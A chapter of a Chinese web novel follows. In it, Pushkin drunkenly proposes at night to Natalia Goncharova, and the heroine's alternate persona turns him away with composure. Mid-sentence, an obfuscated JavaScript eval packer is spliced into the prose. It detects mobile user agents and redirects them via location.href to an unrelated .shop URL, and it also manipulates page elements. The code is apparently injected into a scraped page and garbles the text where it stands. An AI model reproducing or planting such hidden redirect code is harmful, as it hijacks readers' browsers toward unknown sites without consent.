他们以为普希金只是借着酒劲来喊两句情话,发泄一下相思之苦。这算作风流才子的浪漫爱情游戏。 可求婚? 维亚泽姆斯基打量着普希金:领结歪斜,外套沾着酒气,大半夜跑来砸门求婚? 这到底是求婚还是结仇! 纳先金觉得头皮发麻。脑海里迅速推演着接下来的发展: 冈察洛娃夫人必定认为这是羞辱,直接把他们打出去,这门亲事彻底完蛋; 普希金醒了酒,发现真爱告吹,绝对会把这笔账算在他们头上—— 然后? 然后这个疯子绝对要和他俩强制决斗:两把手枪,一人各喂一颗子弹。 啊哈,快瞧瞧,上帝都救不了他们! 必须把这个蠢货弄走—— 现在、立刻、马上! 冈察洛娃夫人终于找回了理智。 荒唐,极度的冒犯! 一个名声狼藉的诗人,半夜喝得烂醉,跑到她家里来大放厥词。这是对冈察洛娃家族尊严的践踏。 女主人决定开口赶人。准备动用最刻薄的词汇,将这群不知天高地厚的男人扫地出门。 娜塔莉娅的太阳穴突突直跳。 今天发生的事情太多,她已经没有任何精力去应付一个发酒疯的巨婴,以及即将引爆的家庭动荡。 “我不行了。娜塔,疯狗交给你处理。” 莉娅闭上眼睛,身体的控制权瞬间抽离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383603|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 娜塔睁开眼,灰色的眼眸取代了原本的流光。 脸颊上原本火辣辣的痛感消失了。少女抬起手,摸了摸侧脸。 不烫了,红肿似乎也消退了。 娜塔没有时间去细想这具身体的奇妙变化。气氛已经降到了冰点,母亲的怒火随时会爆发。 一旦母亲开口,普希金就会被扫地出门,某些事情将变得不可挽回。 娜塔深呼吸,越过母亲,走到阁台最前方。 她双手交叠在身前,微微屈膝,行了一个无可挑剔的淑女礼。 见此,冈察洛娃夫人绷紧的下颌线微微抽动,下意识后退半步隐入阴影。 把诗人轰出去固然解气,但若他明日写首讽刺诗传遍莫斯科……她瞥向娜塔莉娅行礼后挺直的脊背,或许让小女儿处理没什么不好的。 “普希金先生。” 清冷高贵的嗓音打破了压抑的寂静。 普希金立刻站直了身体,屏住呼吸。 “感谢您对我的喜爱。” 娜塔看着他,神情平静。 “但鉴于我们仅仅是第二次见面,谈婚论嫁实在为时尚早。婚姻是神圣的契约,不应该建立在如此草率的决定之上。” 普希金张了张嘴,想要辩解。 娜塔没有给他机会。 “无论您是出于真心,还是别的什么原因。深夜在未婚女子的窗下呼唤,甚至登门求婚,都是极不合时宜的。” 她停顿了一下,语速放缓。 “我相信您的真心,普希金先生。但这些话,不应该成为醉酒后的宣泄。以您的教养,它们更应该出现在鲜花盛开的阳光之下,而不是在这昏暗的深夜。” 娜塔望向他的眼睛,灰色的瞳孔里没有任何情绪波澜。 “您是一位真正的绅士。我想,您也不会做出让淑女为难的事情。对吗?” 普希金怔在原地。 娜塔莉亚的每个字像冰针扎进他混沌的脑髓。冷汗从他额角渗出,胃里翻腾的酒液突然变得灼烧般恶心。 他踉跄半步,被纳先金架住胳膊时才发现自己手指在抖。 酒精的麻痹感彻底消失,理智重新占领高地。 他低头看了一眼自己皱巴巴的外套,又看了一眼周围尴尬的朋友和满脸怒容的冈察洛娃夫人。 荒唐。 他到底在干什么? 爱不应成为酒后的宣泄——这句话狠狠扇在他脸上:他曾写诗讽刺那些借酒撒泼的纨绔子弟,如今自己却成了他们中最不堪的一个。 但他的缪斯没有嘲笑他的不堪,反而用最温柔的方式保全了他的体面。 维亚泽姆斯基和纳先金见状,立刻一左一右架住普希金的胳膊。 “实在抱歉,夫人,小姐。”维亚泽姆斯基低头致歉,“我们的朋友确实喝多了。我们立刻带他离开。” 普希金没有反抗离开。 但他推开朋友的手,再次抚胸鞠躬。动作比刚才更加标准,更加郑重。 “您说得对,娜塔莉娅小姐。” 他抬起头,定定地看着阁台上的少女。 “真爱不应该成为醉酒后的疯癫宣泄。今晚是我唐突了,请原谅我的鲁莽。” 他向后退了一步。 “我理应改日,在一个阳光明媚的早晨,带着最鲜艳的玫瑰,正式前来拜访。” 维亚泽姆斯基几乎扑上去捂住普希金的嘴,拖着他离场。 “玫瑰,对——我们下次一定带十打最好看的玫瑰来!” 纳先金一边鞠躬一边拉开门,临走还不忘掏出手帕拼命擦拭门把手上并不存在的污渍,仿佛这样能抹掉今夜的荒唐。 “砰”的一声,沉重的橡木门重新合上。 这场荒诞的、深夜求婚闹剧似乎终于落下了帷幕…… “娜塔莉娅,”冈察洛娃夫人的声音从走廊尽头传来,“明天醒后,记得来我房间。” 啊,没完呢。